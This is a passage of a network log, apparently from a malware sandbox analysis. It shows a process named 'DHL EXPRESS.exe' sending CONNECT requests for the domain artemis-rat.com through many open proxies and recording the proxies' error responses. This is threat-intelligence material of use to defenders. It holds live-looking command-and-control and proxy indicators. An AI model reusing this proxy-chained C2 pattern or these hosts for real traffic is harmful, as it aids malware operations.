628	192.168.2.8	51834	172.67.181.89	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.493231058 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.647509098 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:47 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
629	192.168.2.8	51158	194.4.50.91	12334	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.502779007 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
630	192.168.2.8	52025	200.111.182.6	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.505213022 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
631	192.168.2.8	52029	200.111.182.6	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.508831978 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
632	192.168.2.8	52031	200.111.182.6	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.510422945 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
633	192.168.2.8	52036	200.111.182.6	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.512986898 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
634	192.168.2.8	51688	147.75.34.86	10007	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.520716906 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.822084904 CET	356	IN	HTTP/1.0 502 Bad Gateway Server: Zscaler/6.3 Content-Type: text/html Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 31 3e 44 4e 53 20 65 72 72 6f 72 3c 2f 68 31 3e 0d 0a 3c 70 3e 44 4e 53 20 65 72 72 6f 72 20 28 74 68 65 20 68 6f 73 74 20 6e 61 6d 65 20 6f 66 20 74 68 65 20 70 61 67 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 64 6f 65 73 20 6e 6f 74 20 65 78 69 73 74 29 3c 62 72 3e 3c 62 72 3e 50 6c 65 61 73 65 20 63 68 65 63 6b 20 74 68 61 74 20 74 68 65 20 68 6f 73 74 20 6e 61 6d 65 20 68 61 73 20 62 65 65 6e 20 73 70 65 6c 6c 65 64 20 63 6f 72 72 65 63 74 6c 79 2e 3c 62 72 3e 3c 2f 70 3e 0d 0a 3c 21 2d 2d 5a 73 63 61 6c 65 72 2f 36 2e 33 2d 2d 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><h1>DNS error</h1><p>DNS error (the host name of the page you are looking for does not exist)<br><br>Please check that the host name has been spelled correctly.<br></p>...Zscaler/6.3--></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
635	192.168.2.8	51694	58.246.58.150	9002	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.557557106 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.883497000 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 17:36:47 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
636	192.168.2.8	51866	172.67.105.234	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.579669952 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.734096050 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:47 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
637	192.168.2.8	51881	104.24.220.52	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.591182947 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.746088028 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:47 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
638	192.168.2.8	51734	198.44.255.3	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.592015028 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
639	192.168.2.8	51722	49.4.48.128	8888	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.594444990 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.317224979 CET	59	IN	HTTP/1.1 200 Connection Established Proxy-agent: nginx

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
640	192.168.2.8	51699	45.11.95.165	5214	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.594568968 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
641	192.168.2.8	51903	188.114.99.171	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.598938942 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.753223896 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:47 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
642	192.168.2.8	51748	218.252.244.126	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.610080957 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.916857958 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Mon, 11 Mar 2024 17:36:47 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
643	192.168.2.8	51915	104.19.5.247	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.610583067 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.765142918 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:47 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
644	192.168.2.8	51893	162.159.242.8	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.610583067 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.771737099 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:47 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
645	192.168.2.8	51731	186.124.164.213	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.610763073 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:06.133532047 CET	1240	IN	HTTP/1.1 405 Method Not Allowed Server: squid/4.11 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 17:37:05 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3360 X-Squid-Error: ERR_UNSUP_REQ 0 Vary: Accept-Language Content-Language: en X-Cache: MISS from pxy12.ecipi.com.ar X-Cache-Lookup: NONE from pxy12.ecipi.com.ar:80 Via: 1.1 pxy12.ecipi.com.ar (squid/4.11) Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 30 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 30 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2020 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2020 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-fa
Mar 11, 2024 18:37:06.133855104 CET	189	IN	Data Raw: 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 Data Ascii: mily: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area */#titles {margin-left: 15px;
Mar 11, 2024 18:37:06.133960009 CET	1240	IN	Data Raw: 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 30 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 2f 73 71 75 69 64 2d 69 6e 74 65 72 6e 61 6c 2d 73 74 61 74 69 63 2f 69 63 6f Data Ascii: padding: 10px;padding-left: 100px;background: url('/squid-internal-static/icons/SN.png') no-repeat left;}/* initial title /#titles h1 {color: #000000;}#titles h2 {color: #000000;}/ special event: FTP success page titles */
Mar 11, 2024 18:37:06.134521008 CET	1070	IN	Data Raw: 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 7d 0a 20 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 69 64 3d 45 52 52 5f 55 4e 53 55 50 5f 52 45 51 3e 0a 3c 64 69 76 20 69 64 3d 22 74 69 74 6c 65 73 22 3e 0a 3c 68 31 Data Ascii: irection: rtl; } --></style></head><body id=ERR_UNSUP_REQ><div id="titles"><h1>ERROR</h1><h2>The requested URL could not be retrieved</h2></div><hr><div id="content"><p>The following error was encountered while trying to retrieve the

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
646	192.168.2.8	51896	162.159.247.57	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.611193895 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.772203922 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:47 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
647	192.168.2.8	51745	185.22.8.70	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.618460894 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
648	192.168.2.8	51937	172.67.181.32	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
